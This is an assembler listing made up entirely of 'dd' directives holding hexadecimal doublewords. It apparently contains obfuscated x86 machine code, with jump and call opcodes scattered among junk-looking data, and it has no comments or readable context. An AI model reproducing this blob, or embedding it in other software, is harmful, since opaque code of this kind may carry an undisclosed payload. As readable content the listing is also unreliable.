		dd 595F01C2h, 82E27ABFh, 0BA666079h, 56615131h,	0E18166h
		dd 0F605FB4h, 682h, 870F00h, 52000000h,	58E9D580h, 81C88B61h
		dd 0E2EC9DE0h, 128F0F2Dh, 0E8000000h, 9, 7A88948Dh, 2D466CBh
		dd 0D78B66EEh, 0D38B665Bh, 0F3804CB1h, 0B4B96604h, 0DB81668Fh
		dd 11E85D92h, 0BD000000h, 4E2349CFh, 4FB50155h,	342A6AA3h
		dd 2DACB750h, 664B1B8h,	11E95816h, 3000000h, 0EB4C5AD7h
		dd 875C60DDh, 7B5F134Ah, 0A3C3AAAAh, 5890Fh, 83BE0000h
		dd 66172D46h, 8A63B9BBh, 66D68BF9h, 0F91F7BBBh,	1850F60h
		dd 0FC000000h, 8D0Fh, 0F610000h, 887h, 0C7815000h, 374850C7h
		dd 5CD0815Ah, 0F5DED88h, 287h, 0E9CA8B00h, 0Dh,	7D6EA7ECh
		dd 80F33C60h, 0F49D38Eh, 8F0F605Fh, 2, 0BB6185B5h, 34D3E5DBh
		dd 5E8h, 7EBE8700h, 12E940F8h, 4D000000h, 4DA7212Bh, 0EA94D76Dh
		dd 0FCFE7CE4h, 4243BA0Bh, 0BE665F3Ah, 0DA80858Eh, 0BF0F53ACh
		dd 0BB665AC2h, 0B70F0E06h, 0FE8F8h, 55CC0000h, 2EBF1617h
		dd 0B3012BEDh, 0A7876F5Eh, 0F5C781C3h, 591BC719h, 478FBF66h
		dd 0E880Fh, 81600000h, 0EBCCD1CBh, 46C78119h, 6176D1D5h
		dd 0B6D08166h, 8E9BDh, 0A9DF0000h, 0F820EAB8h, 50F97882h
		dd 11E8h, 0AA2A4800h, 0AB477243h, 0A79C2721h, 2A333B5Eh
		dd 8166ECE3h, 5B907AF0h, 81665059h, 5A65FBF1h, 11E9h, 152CA000h
		dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 15B00408h, 18800Fh
		dd 13E90000h, 3E000000h, 0B6FD8AC0h, 3CBF3487h,	667D6CA0h
		dd 4713B226h, 0BB6658E2h, 8B66EE3Ch, 0FE8D6h, 45030000h
		dd 21B7AB8Dh, 0EA9BC47Bh, 3B4782A1h, 5FD8B3EAh,	7E8h, 0C4C7F700h
		dd 971EF0B7h, 0CE85Ah, 0D8120000h, 0EBA5BB19h, 55A565F4h
		dd 0D8819836h, 50DB2EF4h, 5B96659h, 0F7B70F46h,	8166B4B2h
		dd 0E94FFFCFh, 0Dh, 0BCFE3CFDh,	705EDA20h, 67B7C1CDh, 14E8F9EBh
		dd 9F000000h, 0D55AC6DCh, 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh
		dd 66CD974Bh, 9AE9D681h
		dd 66B5B759h, 10E9CF8Bh, 43000000h, 143D7D6Dh, 9645C2EEh
		dd 5D2238E3h, 0FC61E140h, 49F5C1BFh, 0E881661Eh, 880F01CBh
		dd 1, 0E9ACB0FCh, 0Ah, 0BD87A51Fh, 0D4A839F8h, 8166C29Ch
		dd 8195F9C6h, 0BEED99C8h, 0FC78B5Dh, 8166F3BFh,	0FF106F3h
		dd 38Fh, 9EE98000h, 8BCAB70Fh, 3830FCFh, 80000000h, 0BB666FF4h
		dd 0FE98E72h, 93000000h, 17F1680Dh, 4C5F0ED2h, 504F4CFEh
		dd 0E2812F98h, 19B707C5h, 0AE8h, 0EADA8400h, 443A784Ah
		dd 0E88FF04Eh, 0Fh, 0A80AC225h,	5CD6DC4Fh, 6CCD7D3Dh, 52FDFC78h
		dd 815F585Ah, 0F97231F1h, 880F6024h, 2,	0B866DC8Ah, 8A613DACh
		dd 3CC881CEh, 6009EDA8h, 8AC1B70Fh, 816661C6h, 60CBE1E1h
		dd 0BE9h, 22BD6100h, 8D3A53F0h,	0A8484A5Ah, 0D98B6661h
		dd 8C0F96B1h, 1, 0AE9F5h, 457E0000h, 6F2C925Ah,	0B32A23C5h
		dd 0BABFE18Ah, 0B54094B6h, 800F5284h, 0
		dd 2420BF5Fh, 8B667CA9h, 0F7AB0F3h, 0AAB9C2BFh,	0E936A73Bh
		dd 13h,	0DBA0217Ah, 0F1C840AEh,	70412F77h, 21A1FBF6h, 8A9762BDh
		dd 14E953C7h, 0EF000000h, 0A3E041BFh, 7A370505h, 0FCFCE970h
		dd 0CB049E01h, 598B5578h, 8B665A53h, 0C9B70FFEh, 911DBB66h
		dd 5800Fh, 81660000h, 667A71E2h, 573FCF81h, 0DE9h, 7AA82F00h
		dd 8B8753EBh, 4A10A2B4h, 52F5F6B6h, 3BD98166h, 13E95AD4h
		dd 71000000h, 0BB154343h, 0D2E9FB1h, 8A229FD5h,	0CBDF347h
		dd 0B96659ADh, 0E8F988D9h, 12h,	8374E24Bh, 31A5B9ACh, 0F2472310h
		dd 5FDE0512h, 8B66D45Ch, 0E1805FF8h, 8166604Ch,	0B52532CAh
		dd 0EE96158h, 5B000000h, 99E32D10h, 18636C9Eh, 2F9F3896h
		dd 0AE8D9h, 85340000h, 84A50AF1h, 3D1C7EFAh, 81639AB8h
		dd 0B70F5942h, 0B70F60DEh, 0BE8C7h, 2AC10000h, 0CAAC9E59h
		dd 0E867AE58h, 8F0FDAh,	5E000000h, 12E961h, 0EA080000h
		dd 6208B590h, 63AF52F4h, 67E99D6Dh, 0CDD67F7Dh,	0F680CB8Bh
		dd 7E860A9h, 1C000000h,	82FC2741h, 17BF3C54h, 5879F03Fh
		dd 188B0Fh, 12E80000h, 0BB000000h, 0EC5763F9h, 8F43DDB4h
		dd 0E576A066h, 0B4D58080h, 0B8615A84h, 25642C15h, 2FD28166h
		dd 0AE899h, 29490000h, 670B07A1h, 9BFDA1FFh, 245D981h
		dd 815F0266h, 6C9D17C0h, 0D8F0F6Fh, 0E9000000h,	8, 4FF1B061h
		dd 0A19CC92Fh, 86EC80F5h, 0D6F68166h, 2800F34h,	0B0000000h
		dd 0C1DA8143h, 0E8668CC2h, 8, 0E999D493h, 9A2BB05Bh, 0E85BF78Bh
		dd 9, 0ED61F6A6h, 60D337F4h, 1EDF8132h,	5B6A966Fh, 0F8C0BF0Fh
		dd 0F1B70FF8h, 8166D98Bh, 53EAC6E2h, 9E8h, 0ECF46400h
		dd 0E8058C43h, 0D08B4E88h, 0E9815B5Ah, 2304A973h, 0F5B9EF81h
		dd 0C8815AE3h, 3C2539BAh, 0CB60B866h, 0BFC78B66h, 3E6C5FA3h
		dd 0FDABF0Fh, 0F08AC2B7h, 74B966FCh, 513AB499h,	8E9h, 0B5FD8300h
		dd 0F494A953h, 6E9585Ch, 60000000h, 0F6493810h,	8166FC92h
		dd 668AFADFh, 0DF6F681h, 80C8BF0Fh, 0B966F2CDh,	8E904E5h
		dd 50000000h, 16B62A7Ch, 0FAC77C8h, 68Ah, 7D38100h, 663F0D3Ch
		dd 8060F38Bh, 0CE8B3ECEh, 66F4B561h, 0F822D181h, 71C88166h
		dd 7CD5B90Ah, 0E5805612h, 0B1FA8A9Fh, 0B70FF866h, 0FF08BD6h
		dd 889h, 28C0F00h, 50000000h, 9E8FC59h,	79000000h, 9AFF3A95h
		dd 0B406547Ch, 0FCC68B60h, 0B9665B61h, 850FDFF0h, 14h
		dd 0FE9h, 15C6C100h, 0FB44FD20h, 536CAE8Fh, 0EA1E8DB6h
		dd 0C8D0Fh, 820F0000h, 6, 0B2ECE381h, 14E90875h, 0C1000000h
		dd 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h,	665C69F2h
		dd 2786E081h, 0D94BBA66h, 0C180F38Bh, 0C78166F5h, 6ABB7202h
		dd 0FC127106h, 10E9h, 81FB1600h, 0EE814A2Dh, 0FDAD48E5h
		dd 3DB6C30Fh, 0EE8DFh, 30790000h, 3F0B3F37h, 698791BFh
		dd 2E5BCFDFh, 5EFABF0Fh, 249E681h, 8B66506Ch, 0FE8C2h
		dd 13D20000h, 80557767h, 0EBC4CB90h, 9C9F2F35h,	0CF8B66BFh
		dd 0BE958h, 1EBF0000h, 268BC9A4h, 3ED15D0Dh, 8C0FF5B1h
		dd 3, 0E9D7B70Fh, 14h, 128186CDh, 8423932h, 0B3CE9839h
		dd 99055F9Dh, 511DFC18h, 0EE8h,	9FE5CF00h, 3AEF0432h, 20231BE1h
		dd 5A2FBBFBh, 8B18E780h, 0E88166F1h, 0C88106EAh, 2B04CC7Ah
		dd 0D8B70FFCh, 5880Fh, 0F570000h, 0E85FFFB7h, 14h, 0ED20A56Eh
		dd 9F26BD7Dh, 0FAEE3C0Dh, 0B00ABAA0h, 5FC2F8E0h, 0AABEBF66h
		dd 0F321BF5Fh, 0BF0F43C0h, 6003B8CAh, 10E9371Ah, 16000000h
		dd 56E10FEBh, 3C05E8F8h, 0D40F3826h, 0E9BF4565h, 0Ch, 0D76A8EB9h
		dd 0EA7C90FBh, 53B3847Ch, 68E0Fh, 0C6810000h, 5F55D481h
		dd 0C8E0Fh, 800F0000h, 6, 800Fh, 81660000h, 0BEB1BBE2h
		dd 0FEFF89Bh, 3DDDCE81h, 81662E93h, 6681FCE0h, 0F7F4DBFh
		dd 1A86h, 12E85200h, 0E4000000h, 50E10109h, 0A6B43F5Ah
		dd 5B28F816h, 3A2FEAE1h, 66585B21h, 8BC61BB9h, 0CB8B66DAh
		dd 4FA8B966h, 28D0Fh, 0CA8B0000h, 60E880F9h, 0EE9h, 4EA25200h
		dd 3CC8A546h, 0ADAFBC1Bh, 0FC4690Ah, 0B2F5C9B7h, 9E920h
		dd 0A0D50000h, 640012CFh, 665DB220h, 2074D781h,	0BA665060h
		dd 0F5BB002h, 0D8Bh, 7E800h, 6EC00000h,	0CA40A000h, 52615A94h
		dd 639DBA66h, 0E953B659h, 6, 0D2D8217h,	13E9AE52h, 0A000000h
		dd 45AC2F6Ch, 161E21D0h, 0EFBE86A0h, 0A6A8CB54h, 8A0F9802h
		dd 0
		dd 8E9h, 366B1500h, 0E3E68226h,	97C18008h, 908ECE81h, 0CA812BB7h
		dd 189CE51h, 50E18166h,	840FA4h, 0F000000h, 0BE8CFBFh
		dd 7B000000h, 0BFC54373h, 0A46EDCC7h, 6E85999h,	36000000h
		dd 147985ECh, 58F78B8Ah, 5E9F858h, 8F000000h, 2BA876CDh
		dd 5E9h, 74FEC400h, 800F477Fh, 5, 0E415FBBAh, 0FE92Fh
		dd 4CBA0000h, 5B34D34Bh, 0D46661Dh, 0D4B99D7Dh,	9E97Fh
		dd 40260000h, 0B2545810h, 0B6161C69h, 6648B796h, 8A66AFB8h
		dd 0FFB8BD0h, 128Dh, 7E800h, 40EE0000h,	41268708h, 0E3816689h
		dd 815B7A3Eh, 4AB1ABE0h, 52E88049h, 5836B350h, 820Fh, 0F600000h
		dd 38Dh, 0F7B70F00h, 61D38B66h,	7E8F9h,	722F0000h, 0E0AB889Bh
		dd 6E9606Dh, 0DA000000h, 70AC4C15h, 6161604Bh, 12E85Bh
		dd 74650000h, 7E5AD9FCh, 0E620587Ch, 0F5E8C891h, 0CF417438h
		dd 0EE857h, 14130000h, 7B41E8D4h, 9E956524h, 7218BFF0h
		dd 665E5E5Bh, 0B70FD88Bh, 0E91AB3D3h, 12h, 4F03D01h, 0D76BD4B5h
		dd 0B41C6792h, 87E3F30Dh, 0FE8B4F9Bh, 14E8h, 83B9A200h
		dd 0B78B4823h, 0EA998701h, 0E4D9DE77h, 4AEECC25h, 0DB6BBF84h
		dd 0F5F377Ah, 0CE9FFBFh, 3F000000h, 91BF3F0Bh, 0CFDF6987h
		dd 0F9912E5Bh, 12C38166h, 11800FECh, 0E8000000h, 9, 0E7481F52h
		dd 0C8D7B183h, 5B6160FEh, 0FCFB70Fh, 781h, 80BA5300h, 5B348FD2h
		dd 66F9D780h, 0E9B61ABAh, 9, 283793h, 3BBCA79Ah, 9E909h
		dd 1DB90000h, 76C8DF8Ch, 0E9AC387Dh, 11h, 28B11ADBh, 1985CCCAh
		dd 160696AEh, 9BE51318h, 0EF81F595h, 5A90CBD1h,	0FF38B66h
		dd 0A87h, 5E900h, 0F71E0000h, 0F2C5003h, 989h, 3890F00h
		dd 66000000h, 60F9F28Bh, 8B6141B4h, 19DDBFCAh, 0D38B1131h
		dd 11E899B2h, 0A1000000h, 2F5AACCh, 0F787BF85h,	0FAFD6642h
		dd 0F22DF9DDh, 2840Fh, 14B50000h, 0E9D98B59h, 0Bh, 0FBC05537h
		dd 75E56D1Bh, 8BF05F62h, 5880FD1h, 0BA000000h, 5FD39F4Fh
		dd 5F51BF66h, 0BE8h, 12BA5800h,	0A0E171Dh, 3DB8A28Ch, 0D5D18166h
		dd 14E95BF0h, 7F000000h, 0BB1B1978h, 21556E8Fh,	0BA6E5AA9h
		dd 594F4BC8h, 0FAB4549h, 14E8DAB7h, 0C3000000h,	36E62F86h
		dd 23BBEFEBh, 0E2DE5E80h, 3F484709h, 5AD4A6D2h,	14880Fh
		dd 0FE90000h, 0B9000000h, 84FDE05Bh, 9914A692h,	5873A2A9h
		dd 8B66C9E1h, 0BCE8BBF9h, 0B96651E8h, 0B9F9E7A0h, 6726A401h
		dd 0E88A6160h, 0BBE714B8h, 12E850h, 40A30000h, 167EB477h
		dd 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 890F57h, 58000000h
		dd 0E9816658h, 12E9D34Ah, 48000000h, 34ECD775h,	407D8E02h
		dd 48442CC1h, 257F2292h, 0D78B6675h, 97C38166h,	0DABF0FACh
		dd 0DE9h, 0B1D3F600h, 67CF9B07h, 0FBD90F73h, 66605B02h
		dd 2CBBC18Bh, 617D08DEh, 12880Fh, 0DE90000h, 26000000h
		dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 12E9h, 68A25C00h
		dd 3D3CEABCh, 1EC6281Dh, 23B46A6Dh, 0E93B69CBh,	0Eh, 0D6AB66D8h
		dd 0DA736421h, 4F3FDBAFh, 0ACBB9D8Dh, 0F683FBAh, 680h
		dd 39F28100h, 0E9289B0Ch, 11h, 0C46BF375h, 0DFA7538Bh
		dd 0A2A8277Dh, 5EBB1C7Ch, 14E867h, 410000h, 0D84F64FDh
		dd 9FE06D2Ch, 1288E47h,	0FC67B212h, 0CB806D42h,	12E95AF6h
		dd 0B3000000h, 0B58D574Ah, 0A29061E3h, 0A97C2514h, 8A02186Fh
		dd 0F3EF8127h, 5027AF78h, 6658C0B3h, 81E6CABFh,	48B3E6E9h
		dd 9578BE46h, 0CE961B7h, 88000000h, 0E6E93AA7h,	0C566DA58h
		dd 0E91C9764h, 0Eh, 47A9E4ADh, 36D9F028h, 99242FB4h, 810F9DD9h
		dd 5, 58FAFCBBh, 0D7B70F38h, 8C0Fh, 9E80000h, 0DC000000h
		dd 0F1853425h, 0FA84A50Ah, 0EE95Bh, 79690000h, 136D7120h
		dd 0F7C896E8h, 97DF81FDh, 8E8h,	0EA2C7F00h, 0F8EC1B4Ch
		dd 53EB81AEh, 585D4F2Fh, 13840Fh, 0EE90000h, 0FF000000h
		dd 64E25B53h, 0EAD0883Ah, 84A3D108h, 0CBE28168h, 0F4377CBh
		dd 0F280DEBFh, 9E989h, 0B1130000h, 63666047h, 80C4405Ah
		dd 0BA6667D4h, 0BF0F8BF1h, 0F5D08BF6h, 13E951h,	0FE780000h
		dd 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 73E43F8Ah,	7E95B5Ah
		dd 0AC000000h, 27D7E63Eh, 0DE9D1A2h, 97000000h,	19B5A3D0h
		dd 0B4EA17Eh, 8E74BFBCh, 0BE8h,	0E54B0E00h, 80CC5743h
		dd 1732B8A1h, 0BBDA8166h, 0D0815A4Ah, 270F8DC7h, 0FB9B660h
		dd 580h, 0C6816600h, 66615E2Ch,	8E8DF8Bh, 7C000000h, 95B2E80Fh
		dd 0B8CD4885h, 294BB84Bh, 0B966FC5Fh, 0BF66F7B8h, 665255E7h
		dd 0E959F28Bh, 9, 0BDF2E84Fh, 9AB52A75h, 0EE81663Ah, 0EE98752h
		dd 0D0000000h, 0BE10A15h, 0CD561CA9h, 0B131F4D7h, 0FE9F9B5h
		dd 0CD000000h, 2E9B4813h, 0DDB169D1h, 0DE8E253Eh, 0B9F93912h
		dd 327BC6EDh, 0EE8h, 8B7E2300h,	176140DDh, 86A14642h, 0F8153EDh
		dd 0F5EC0BFh, 684h, 35E78100h, 666B84FAh, 8BC5A0B8h, 81DE8BF2h
		dd 62BB8FEBh, 3B86660h,	8BD68B10h, 816060F0h, 109DCEAh
		dd 0E3E7815Bh, 610113C3h, 5CC78161h, 0B6460BFFh, 1DEB81D2h
		dd 600A9D5Ch, 9BC38166h, 59536198h, 830FC18Ah, 4, 2315BA66h
		dd 0C800Fh, 860F0000h, 6, 860Fh, 0B70F0000h, 13E9CAh, 12A20000h
		dd 430E8ED5h, 5C881676h, 5C2F9C2Fh, 903DE104h, 0F95360EEh
		dd 58536159h, 5E8h, 0C602BC00h,	8B66AE10h, 8D0F5FDFh, 28h
		dd 0BE8h, 31C26200h, 4EBED7B7h,	0C8321B8Ah, 12E9h, 1A051600h
		dd 5E6F3F3Bh, 70E8AF3h,	0C013852Eh, 5F6D3FC9h, 0B2C6B70Fh
		dd 2870F3Dh, 0B6000000h, 0EF81668Dh, 14E901ABh,	0A6000000h
		dd 7B428A4Fh, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h,	0F07D286h
		dd 8B66F9B7h, 98D0FCBh,	0F000000h, 38Ch, 0F7BF0F00h, 66D0BF0Fh
		dd 8D0FD38Bh, 11h, 0CE9h, 708F7D00h, 10D8F314h,	0D21EC580h
		dd 0C081668Fh, 840FB6A9h, 6, 0B8D9DE81h, 0AE97A23h, 0F5000000h
		dd 3A79F363h, 0B8D2514Bh, 0B8F28BCDh, 4E9C6A31h, 5BD78166h
		dd 88B86624h, 0A1D680E9h, 66F08B66h, 0E25BC081h, 8B6692B1h
		dd 8E8C8h, 31250000h, 0EBEB1290h, 5BF5D242h, 5BBBB756h
		dd 94B8E3B7h, 0F7D6577h, 789h, 81665600h, 5E628FE3h, 6658D480h
		dd 0E9E192B8h, 0Bh, 7DD0B112h, 0CE43E6E2h, 66EDE664h, 50E09EBFh
		dd 0BE9h, 0ABC40B00h, 1D0C8D8Ch, 8B266121h, 3093B85Ah
		dd 0C28029A6h, 0C0816653h, 0CB81953Dh, 7EE1317Ah, 61FB8B60h
		dd 7E9h, 14573B00h, 291AE398h, 11E9h, 7EE54C00h, 0B87382D5h
		dd 6827BD04h, 0FAC6FCCBh, 0BF66F848h, 0B0601696h, 6ABB60DBh
		dd 611550F6h, 0DBB86661h, 66D78B54h, 0BA3382BEh, 3ED328E2h
		dd 51A5CB81h, 0CA8B332Ch, 0EE9h, 0AE4AB800h, 407212C1h
		dd 67C11D6Ch, 0E976D105h, 5, 0C6DA043h,	0FBB70F7Dh, 8E8h
		dd 82819600h, 0EF7F0C67h, 0EE84Fh, 0B71A0000h, 6A92C0F6h
		dd 9199ACE3h, 0F3425219h, 6E9h,	0EDA0C300h, 5A89CFFDh
		dd 0C850F5Eh, 0E9000000h, 7, 572A5FFCh,	81429AEDh, 0C52975EEh
		dd 0F1B70F4Bh, 0E9F38B66h, 11h,	0D0A030ACh
		dd 1E42FF32h, 0A3DB8371h, 54D1D316h, 9E845h, 239A0000h
		dd 0D17684D1h, 0E9A21901h, 0Ch,	0D4AE67C4h, 0ECE8D98Ah
		dd 445B9DD7h, 0DA81665Eh, 0F60EAB2h, 0E860F8B7h, 0Bh, 0E0A2640Ah
		dd 0A4A6A2FAh, 5B7B07D1h, 816161F8h, 0D867ACEAh, 23A6BE59h
		dd 0E58A7613h, 14E9h, 66478700h, 3EDA0068h, 282C2584h
		dd 163AF23Fh, 0D0ABD8E4h, 80CF8B97h, 0EE81B9CFh, 749EC7F3h
		dd 13E8h, 523FC800h, 460024F8h,	13BA3BF7h, 7FE1B68Fh, 0C25946AAh
		dd 59D7B70Fh, 8B66B6B6h, 0AE9C6h, 43250000h, 85F0A417h
		dd 28BB5A5h, 2880Fh, 0A1B60000h, 6E9h, 0E8BB2600h, 0F7A4EEEh
		dd 0ABBAC2BFh, 0BE12DA2Bh, 2982B59Ah, 18C0Fh, 0BEF80000h
		dd 23AB5974h, 47BECB81h, 8B661218h, 0B7BBBAFEh,	11E93F2Eh
		dd 9D000000h, 85736592h, 82030986h, 67BC13E1h, 40938F16h
		dd 6AB5BFBFh, 0EE846h, 0EDEE0000h, 38B77CEBh, 7BB8D006h
		dd 95AAEC2Dh, 0EE8h, 58225500h,	0AD767896h, 721FBCEBh
		dd 6692DC2Bh, 5859F88Bh, 4EBECF8Ah, 0F81599EFh,	0B15AE881h
		dd 60534351h, 7E9h, 0CCD8EF00h,	9E763BB3h, 0F38B5F61h
		dd 4017B966h, 98D0Fh, 8B0F0000h, 3, 0E9C8B70Fh,	0Bh, 1AF641BDh
		dd 14C9170Eh, 0FC6D41Ah, 1287h,	0DE900h, 0B9B40000h, 4C65E55Dh
		dd 7D12DA9Ch, 0F9E29BCh, 89h, 38F0F00h,	0F000000h, 8B66C2BFh
		dd 0D38B66F9h, 6AD68166h, 0E0B7BEEDh, 0BF661A06h, 11E8E9ABh
		dd 6A000000h, 3D8DEFEDh, 0A2718F64h, 925E6C2Bh,	0B0665FE8h
		dd 2820Fh, 0F18B0000h, 0CEBF0F5Bh, 606074B7h, 0BE9h, 0C1C1F00h
		dd 0C4705FE2h, 477F74FEh, 6661C18Bh, 61DCB4BAh,	11E8h
		dd 0CBC19900h, 2D2F7387h, 0FF3F4B58h, 4BE69A09h, 7E87B7Dh
		dd 99000000h, 7271BFDFh, 5B525C7Dh, 60605F59h, 6161F9F5h
		dd 12E8h, 73D6BD00h, 5FA3324Ch,	4288EC8Bh, 3733B681h, 59640F48h
		dd 82B9D78Bh, 664FE78Bh, 7B04F181h, 10E9F08Bh, 0EF000000h
		dd 0C0CC179Bh, 51780708h, 70D90241h, 0B778BA7Eh, 50D08168h
		dd 66292ADDh, 81ED50B9h, 0F209CFF6h, 12E848h, 0C4420000h
		dd 35A350C0h, 0C5CDACD7h, 9C46C759h, 15D05994h,	7E9h, 7380EE00h
		dd 944ADE36h, 8EF6805Fh, 0DE9h,	6396C500h, 0A45CCF0Ah
		dd 0DA05D6A7h, 0B70FCC01h, 60DC8AC1h, 3788BE66h, 29CCC681h
		dd 56615138h, 18A0Fh, 5AFC0000h, 4D12C381h, 0BF0F604Ah
		dd 4840FD7h, 66000000h,	66CB88BEh, 66EB18B9h, 0DE8D08Bh
		dd 6B000000h, 415DFD1Bh, 0A8660796h, 0F7D963FBh, 6870Fh
		dd 880F0000h, 0
		dd 8E95Bh, 6A6A0000h, 7CE3BAABh, 0E9F8BECFh, 10h, 615BA846h
		dd 0BBF2A698h, 400D5BC4h, 8CB9A531h, 8E8h, 8180EC00h, 0AE518F44h
		dd 0DE91Eh, 0AA000000h,	0E5ABABE1h, 1E9A51E3h, 5FD8C399h
		dd 0FFBB70Fh, 178Fh, 12E900h, 1F640000h, 63270E6Ah, 3BAF3A65h
		dd 55AD6B2h, 2ADA4456h,	7EEBB966h, 6E860h, 0F8C80000h
		dd 8036F9Ah, 0F5586160h, 56DF8B61h, 14890Fh, 0EE80000h
		dd 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h, 665F5AA0h
		dd 0CAB9F78Bh, 81733D0Fh, 27F769C9h, 4AB4BA1Eh,	0DE9173Ch
		dd 32000000h, 81FF87F7h, 5CDC1D49h, 86F23323h, 11E9h, 92470300h
		dd 7AB77EB7h, 81C01BF0h, 17F02684h, 66500DCBh, 0F959D78Bh
		dd 0E1EF5CBEh, 66595359h, 0C3BEA81h, 8F24BE53h,	0F5873DFh
		dd 283h, 0FC88B00h, 0DE81C3BFh,	0AA39508h, 870FDE8Bh, 0
		dd 0DE9h, 0D00CCA00h, 4FFB044Eh, 72EE8489h, 850FC644h
		dd 0Ch,	6880Fh,	8E0F0000h, 0
		dd 1FB9F18Ah, 0B1487086h, 0FCD1B0F8h, 0EE8h, 0F2FA9000h
		dd 0A6E544A7h, 0F75CF0E5h, 66A71181h, 5258D98Bh, 5FD78B66h
		dd 8BC28B66h, 0FC18BF1h, 285h, 8BD88B00h, 0FF08ACEh, 0E681D7BFh
		dd 1DD034ECh, 0F7816652h, 8B5E086Ch, 0D3BB66D1h, 7E9CBh
		dd 0FA250000h, 25E81835h, 0EA816608h, 81666CC2h, 0FF754EEh
		dd 0A8Dh, 4800F00h, 66000000h, 66E60EBAh, 0C205F781h, 7C38166h
		dd 0E800FCBh, 0E9000000h, 9, 3DF3C73Ch,	9E822E7Ah, 2820FC7h
		dd 8B000000h, 8B6651F0h, 8C0F5AFEh, 10h, 0BE9h,	0ABDE3900h
		dd 0ED44EFEEh, 2F3DC619h, 10E8h, 3E160400h, 0C2CDA3A8h
		dd 5FEF8F22h, 8C8EC367h, 0AAB866E6h, 0CB958DBh,	51667345h
		dd 0B95A28B6h, 7140F2A9h, 8B6645B5h, 0F08B66F0h, 0DE9h
		dd 71060B00h, 48CD819Bh, 8E6B8D85h, 0FF85244h, 0F53C8BFh
		dd 86h,	870F5A00h, 5, 0CB176B8h, 0D78B666Ch, 0E98FC980h
		dd 11h,	0BF5AD058h, 110EACC2h, 0B887AAF6h, 10981B28h, 0EA8166C0h
		dd 0E9F594DAh, 8, 65676130h, 99F06836h,	0C9C78166h, 0FB8B66CAh
		dd 0E9DFBB66h, 0B70FF4B3h, 13E8D3h, 27C30000h, 33FDC9DEh
		dd 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h, 79B95B13h,	8174820Ch
		dd 925351F7h, 80CE8B46h, 820FABC7h, 3, 5730DD80h, 81F2BE60h
		dd 0F58028E0h, 0E95A6125h, 0Fh,	0FD432BD7h, 0F5A03BF5h
		dd 98BF7080h, 520793A4h, 5E9h, 0ABC02500h, 605AC098h, 66F1B70Fh
		dd 0D619C981h, 11E861h,	0D4250000h, 8347DA9Bh, 6021BA51h
		dd 673366B0h, 5A19E057h, 0F5E2BE50h, 665A0D91h,	9FB6CE8Bh
		dd 0E9C3BF0Fh, 10h, 0FBACA562h,	5DCDD457h, 0F320EB11h
		dd 3A5FCCA4h, 0B70F6060h, 860FFEh, 61000000h, 0BE666061h
		dd 0C3816CA3h, 7244C346h, 0DE861h, 0EFC20000h, 0CC19C368h
		dd 2F6F3602h, 0E9E4F769h, 10h, 0BACA461Dh, 7E4B89ECh, 0C0F5E0E3h
		dd 5E060EDBh, 6E959h, 9AD10000h, 0F5DFAF9Eh, 8425BEFCh
		dd 10E81B6Dh, 0C8000000h, 446035B2h, 0C1B826BCh, 2808CBF4h
		dd 0F32D78Bh, 285h, 5AC88B00h, 60C38B66h, 860Fh, 0AEB90000h
		dd 614E9E31h, 0AE9h, 4C109400h,	3EEE9859h, 6668F4B0h, 662164B8h
		dd 0BE66CA8Bh, 8B6626E5h, 58D0FC1h, 66000000h, 29BDF081h
		dd 0DF816660h, 8B669FDFh, 5E861D1h, 34000000h, 0FC95B346h
		dd 0CE815BFCh, 520E4F44h, 66D8BF0Fh, 8E9D38Bh, 98000000h
		dd 6533CC58h, 60AA07CAh, 0CE9FCh, 35FE0000h, 39CF2DC4h
		dd 0B77F2485h, 66613BC5h, 0BAE5C2B8h, 17D931CBh, 38B0Fh
		dd 8B660000h, 0EFC880C1h, 0B9C18B66h, 4547B4CDh, 0F83F780h
		dd 87h,	7E800h,	67B20000h, 0A66D42FCh, 61BB66FDh, 8B665EC7h
		dd 70B866DEh, 0D3816643h, 0BE9CF4Ch, 81000000h,	0E24048D2h
		dd 0FE84194Bh, 8166C434h, 0FF666CFh, 48Bh, 0BDB86600h
		dd 0FE8E8h, 4E6D0000h, 0D0DD6BFh, 0B8A048B2h, 8C62F0ABh
		dd 0E38166BAh, 0B15F13C3h, 36BF663Ah, 11E95390h, 0B7000000h
		dd 916AF8B8h, 1678B684h, 0B005A40Ah, 37003B95h,	0D95DBA5Bh
		dd 0E960196Bh, 13h, 0B568A150h,	6B7BCE50h, 4EAE01ACh, 9454FA3Ah
		dd 80D85131h, 80618DF1h, 0F98B3DCDh, 60FCF5FCh,	4AE4AABFh
		dd 58536103h, 0E9FA8B66h, 10h, 65C88403h, 34FDD031h, 5780F25Dh
		dd 0E22AF003h, 0DE8599BFh, 0E9816629h, 0B70FD977h, 7DCB80FEh
		dd 14E9h, 9DDCEC00h, 96298442h,	283A045Fh, 0E6AA9F0Dh
		dd 3380AE1Bh, 0D78B66D9h, 10E9h, 40010600h, 0ECB71025h
		dd 6D1A1F14h, 3D52A2AEh, 6FBE66C3h, 0F52F524h, 0B05EDBBFh
		dd 7E947h, 5CFA0000h, 43F9DB61h, 3FCD808Bh, 0E8DE8B66h
		dd 0Eh,	0BD7BA8E6h, 1FB13B44h, 0FD3188D1h, 800F1E6Bh, 1
		dd 9BA5AFCh, 661800E5h,	3210E681h, 0B870Fh, 8B0F0000h
		dd 5, 0C1E28166h, 40CA804Fh, 10E8h, 0BFCD4E00h,	0B1BF1F1Fh
		dd 0C4B7F85Bh, 40BA36A7h, 34F78164h, 5960EF9Ah,	3870F60h
		dd 0F000000h, 6160D2B7h, 13E961h, 2EF50000h, 0E9F2DC0Bh
		dd 0DFDB8F6Eh, 41292981h, 0A16FA8AAh, 0AE9CDh, 0A7E00000h
		dd 64FF04C2h, 4857DF41h, 0DFEDBF66h, 74BFFA8Ah,	6038B472h
		dd 28CA8166h, 2AB9663Fh, 0B160618Dh, 0E7816012h, 75A212A1h
		dd 870F6161h, 0Bh, 5860Fh, 3BE0000h, 8A38486Ch,	7E9F5h
		dd 0F2EA0000h, 4F4F9137h, 0F18BF59Dh, 73E98160h, 0B42CC334h
		dd 0F78B61B6h, 0C881C78Bh, 7BBFA4E0h, 5E957h, 68FE0000h
